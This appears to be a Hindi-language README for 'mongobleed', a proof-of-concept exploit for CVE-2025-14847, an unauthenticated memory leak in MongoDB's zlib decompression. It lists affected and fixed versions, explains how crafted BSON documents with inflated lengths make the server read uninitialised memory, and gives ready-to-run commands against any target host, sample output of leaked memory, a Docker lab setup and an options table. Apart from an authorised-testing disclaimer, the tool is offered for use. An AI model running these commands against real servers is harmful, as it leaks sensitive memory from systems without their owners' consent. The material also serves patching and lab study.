
CVE-2025-14847 - MongoDB अनधिकृत मेमोरी लीक एक्सप्लॉइट
MongoDB zlib डीकंप्रेशन भेद्यता के लिए एक proof-of-concept एक्सप्लॉइट जो अनधिकृत हमलावरों को संवेदनशील सर्वर मेमोरी लीक करने की अनुमति देता है।
MongoDB के zlib संदेश डीकंप्रेशन में एक दोष वास्तविक डीकंप्रेस्ड डेटा लंबाई के बजाय आवंटित बफर आकार लौटाता है। यह हमलावरों को निम्न तरीके से अप्रारंभित मेमोरी पढ़ने की अनुमति देता है:
uncompressedSize दावे के साथ एक संपीड़ित संदेश भेजना| संस्करण | प्रभावित | ठीक किया गया |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
एक कमजोर MongoDB इंस्टेंस शुरू करने के लिए एक Docker Compose फ़ाइल शामिल है:
docker-compose up -d
python3 mongobleed.py
एक्सप्लॉइट बढ़े हुए लंबाई फ़ील्ड वाले BSON दस्तावेज़ तैयार करता है। जब सर्वर इन दस्तावेज़ों को पार्स करता है, तो यह null बाइट तक अप्रारंभित मेमोरी से फ़ील्ड नाम पढ़ता है। अलग-अलग ऑफसेट पर प्रत्येक प्रोब अलग-अलग मेमोरी क्षेत्रों को लीक कर सकता है।
लीक किया गया डेटा इन्हें शामिल कर सकता है:
/proc डेटा (meminfo, नेटवर्क आँकड़े)Joe Desimone - x.com/dez_
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है।
| विकल्प | डिफ़ॉल्ट | विवरण |
|---|
--host | localhost | लक्षित MongoDB होस्ट |
--port | 27017 | लक्षित MongoDB पोर्ट |
--min-offset | 20 | जांचने के लिए न्यूनतम दस्तावेज़ लंबाई |
--max-offset | 8192 | जांचने के लिए अधिकतम दस्तावेज़ लंबाई |
--output | leaked.bin | लीक किए गए डेटा के लिए आउटपुट फ़ाइल |